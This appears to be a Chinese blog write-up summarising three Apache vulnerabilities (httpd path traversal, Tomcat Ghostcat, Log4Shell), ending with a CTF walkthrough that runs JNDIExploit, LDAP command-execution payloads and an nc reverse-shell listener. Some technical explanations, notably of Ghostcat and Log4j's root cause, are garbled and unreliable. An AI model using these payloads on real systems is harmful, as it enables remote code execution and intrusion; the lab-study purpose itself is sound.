Apache 三大漏洞总结分析

  • Apache httpd CVE-2021-41773分析:

存在漏洞的代码:

ad1a1b7183145917

ad1a1b7183150044

ad1a1b7183150055

AP_DECLARE(int) ap_normalize_path(char *path, unsigned int flags)
{
    int ret = 1;
    apr_size_t l = 1, w = 1;

    if (!IS_SLASH(path[0])) {
        /* Besides "OPTIONS *", a request-target should start with '/'
         * per RFC 7230 section 5.3, so anything else is invalid.
         */
        if (path[0] == '*' && path[1] == '\0') {
            return 1;
        }
        /* However, AP_NORMALIZE_ALLOW_RELATIVE can be used to bypass
         * this restriction (e.g. for subrequest file lookups).
         */
        if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0') {
            return 0;
        }

        l = w = 0;
    }

    while (path[l] != '\0') {
        /* RFC-3986 section 2.3:
         *  For consistency, percent-encoded octets in the ranges of
         *  ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
         *  period (%2E), underscore (%5F), or tilde (%7E) should [...]
         *  be decoded to their corresponding unreserved characters by
         *  URI normalizers.
         */
        if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
                && path[l] == '%' && apr_isxdigit(path[l + 1])
                                  && apr_isxdigit(path[l + 2])) {
            const char c = x2c(&path[l + 1]);
            if (apr_isalnum(c) || (c && strchr("-._~", c))) {
                /* Replace last char and fall through as the current
                 * read position */
                l += 2;
                path[l] = c;
            }
        }

        if ((flags & AP_NORMALIZE_DROP_PARAMETERS) && path[l] == ';') {
            do {
                l++;
            } while (!IS_SLASH_OR_NUL(path[l]));
            continue;
        }

        if (w == 0 || IS_SLASH(path[w - 1])) {
            /* Collapse ///// sequences to / */
            if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {
                do {
                    l++;
                } while (IS_SLASH(path[l]));
                continue;
            }


            if (path[l] == '.') {
                /* Remove /./ segments */
                if (IS_SLASH_OR_NUL(path[l + 1])) {
                    l++;
                    if (path[l]) {
                        l++;
                    }
                    continue;
                }

                /* Remove /xx/../ segments */
                if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
                    /* Wind w back to remove the previous segment */
                    if (w > 1) {
                        do {
                            w--;
                        } while (w && !IS_SLASH(path[w - 1]));
                    }
                    else {
                        /* Already at root, ignore and return a failure
                         * if asked to.
                         */
                        if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                            ret = 0;
                        }
                    }

                    /* Move l forward to the next segment */
                    l += 2;
                    if (path[l]) {
                        l++;
                    }
                    continue;
                }
            }
        }

        path[w++] = path[l++];
    }
    path[w] = '\0';

    return ret;
}

代码作用是对 URL 路径进行规范化处理

函数检查传入的路径是否以反斜杠开头,如果不是,根据传入的flag参数进行处理。如果标志参数中没有设置允许使用相对路径的 AP_NORMALIZE_ALLOW_RELATIVE 选项或路径长度为零返回 0,否则将长度初始化为零,进入一个 while 循环

ad1a1b7183150232

遍历整个路径字符串,过程中,检测到路径中包含被误编码的特定字符,例如 “%20” ,则解码并转换为原始字符,如果flag参数中设置了去除路径参数的 AP_NORMALIZE_DROP_PARAMETERS 选项,则会移除路径中的参数部分,检测到路径中包含 “../” ,则会将相对路径上升一级(除了根目录的上一级)。如果多个连续的 “../” 出现在路径中,则可能会升至非期望的上级目录,从而导致任意文件读取漏洞(如果攻击者能够在路径中注入 “../” )。这个漏洞可以通过限制上升路径的次数和路径长度来解决。

ad1a1b7183150256

一,  Apache Tomcat文件包含漏洞CVE-2020-1938(Ghostcat)

分析:

Apache Tomcat AJP 协议无法正确处理 JAVA/TOMCAT 应用中的 JSP 文件,攻击者利用这个漏洞可以通过 HTTP 协议发送恶意的 AJP 请求,从而绕过身份验证并读取包括 WEB-INF 目录下的敏感文件,漏洞发生在两个类,org.apache.coyote.ajp.AbstractAjpProcessor org.apache.coyote.ajp.AjpAprProcessor,根本原因是因为恶意请求中的 AccessFile ReadOnlyFile 参数可以重写到,在 Tomcat 服务器上读取敏感文件。攻击者可以通过发送特制的 AJP 请求,然后使用 AccessFile 参数表示要读取的敏感文件的位置,网上公开的处理代码。

ad1a1b7183150324

三,Apache Log4j 2.x RCE CVE-2021-44228

分析:漏是由 Apache Logging Service 项目的 Log4j 库中存在的一个安全漏洞导致。由于在线展示、突显或轮换锁死块的错误使得攻击者能够注入展示在日志文件中的恶意日志,从而触发远程代码执行,可以通过此漏洞获得可远程执行代码的权限,并在受影响的服务器上执行任意命令,如删除文件、创建新用户等,从而实现攻击目的

复现过程:

CTF秀地址:https://ctf.show/challenges#Log4j%E5%A4%8D%E7%8E%B0-1730

ad1a1b7183150352

检测地址:nslog.cn

ad1a1b7183150408

点击GET获取

输入payload

ad1a1b7183150425

ad1a1b7183150434

有访问记录漏洞存在,随后下载jar包

JNDIExploit-1.2-SNAPSHOT.jar

root@VM-4-11-ubuntu:/home/ubuntu# java -jar JNDIExploit-1.2-SNAPSHOT.jar -h
Usage: java -jar JNDIExploit-1.2-SNAPSHOT.jar [options]
  Options:
  * -i, --ip       Local ip address
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8080)
    -u, --usage    Show usage (default: false)
    -h, --help     Show this help
#-u查看可用payload,这里列出了一小部分
root@VM-4-11-ubuntu:/home/ubuntu# java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
Supported LADP Queries:
* all words are case INSENSITIVE when send to ldap server


[+] Basic Queries: ldap://null:1389/Basic/[PayloadType]/[Params], e.g.
    ldap://null:1389/Basic/Dnslog/[domain]
    ldap://null:1389/Basic/Command/[cmd]

    ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]

反弹shell:

root@ubuntu:/home/ubuntu/Lj  java -jar JNDIExploit-1.2-SNAPSHOT.jar -i yourip -p 2333

[+] LDAP Server Start Listening on 1389...

[+] HTTP Server Start Listening on 2333...

开启监听:

root@ubuntu:/home/ubuntu/Lj# nc -lvp 1099随后提交payload:ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]成功反弹并找出flag:

ad1a1b7183150603

© 版权声明
THE END
喜欢就支持一下吧
点赞11赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称常用语 夸夸
夸夸
还有吗!没看够!
表情代码图片

    暂无评论内容